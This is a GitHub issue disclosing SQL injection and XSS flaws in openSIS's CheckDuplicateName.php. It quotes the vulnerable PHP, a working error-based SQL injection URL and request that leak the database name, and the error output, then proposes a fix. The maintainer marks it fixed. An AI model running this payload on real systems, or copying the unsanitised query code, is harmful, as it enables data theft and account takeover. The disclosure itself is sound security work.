New issue

Jump to bottom

XSS and Error based SQL injection in CheckDuplicateName.php #198

Closed CP04042K opened this issue on Sep 5, 2021 · 4 comments

CP04042K commented on Sep 5, 2021 • edited

Description

Due to lack of protection, parameters `table_name`, `field_name`, `id`, `field_id` can be abused to injection SQL queries to extract information from databases some other SQLi tricks, parameter `msg` can be used to inject XSS payload and steal user's cookie (and even takeover user's account)

```
#
#**************************************************************************
include('RedirectRootInc.php');
include 'Warehouse.php';
include 'Data.php';

if(isset($_REQUEST['table_name']) && isset($_REQUEST['field_name']) && isset($_REQUEST['val']) && isset($_REQUEST['
  field_id']) && isset($_REQUEST['msg']))
{

  $check_query=DBGet(DBQuery('SELECT COUNT(*) as REC_EXISTS FROM '.$_REQUEST['table_name'].' WHERE UPPER('.$_REQUEST[
      'field_name'].')=UPPER(\''.singleQuoteReplace('','',trim($_REQUEST['val']))." ' AND ID <>\'".$_REQUEST['id'].'
      \''));
  echo $check_query[1]['REC_EXISTS'].'_'.$_REQUEST['field_id'].'_'.$_REQUEST['msg'];
}
?>
```

As we can see, no security mechanism was implemented which resulted in a lot of vulnerabilities.

Exploiting

- Error

Date: 09/05/2021 07:34:59

Failure Notice: DB Execute Failed

SQL: SELECT COUNT(*) as REC_EXISTS FROM api_info where id=1 and extractvalue(0x0a,concat(0x0a,(select database())))-- WHERE UPPER()=UPPER(NULL) AND ID <>''

Traceback: /var/www/demo/CheckDuplicateName.php at 35

Additional Information: XPATH syntax error: ' opensisdemo'

Date: 09/05/2021 07:34:59

openSIS has encountered an error that could have resulted from any of the following:

- Invalid data input
- Database SQL error
- Program error

Please take this screen shot and send it to your openSIS representative for debugging and resolution.

Injection point:

`HTTP://demo/CheckDuplicateName.php?table_name=api_info+where+id=1+and+extractvalue(0x0a,concat(0x0a,(select+database())))--&field_name=&val=&field_id=&msg=`

In beneath, I've presented how information can be extracted via SQL injection. XSS can be exploited by giving the correct information in other parameters and inject Javascript code in `field_name`, `msg`.

Request:

```
GET /CheckDuplicateName.php?table_name=api_info+where+id=1+and+extractvalue(0x0a,concat(0x0a,(select+database())))--&field_name=&val=&field_id=&msg= HTTP/1.1
Host: demo.opensis.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=iadm2hjbvs4vqmskk07vcpp8n5; miniSidebar=0
Upgrade-Insecure-Requests: 1
```

Response:

```
HTTP/1.1 200 OK
Date: Sun, 05 Sep 2021 07:59:18 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.29
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 716
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/htmlx
```

Solution

Add security functions such as `sqlSecurityFilter` to sanitize parameters before processing or printing out to the screen. For XSS, use `htmlentities` to properly encode the output.

openSISAdmin commented on Sep 9, 2021 — Member

Fixed

👍 1

openSISAdmin closed this as completed on Sep 9, 2021

VHAE04 commented on Mar 3

nice

👍 1

Lebaominu commented on Mar 4

Giỏi quá a 🏆 🏆

👍 1

kimstars commented on Mar 4

nice

👍 1

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

5 participants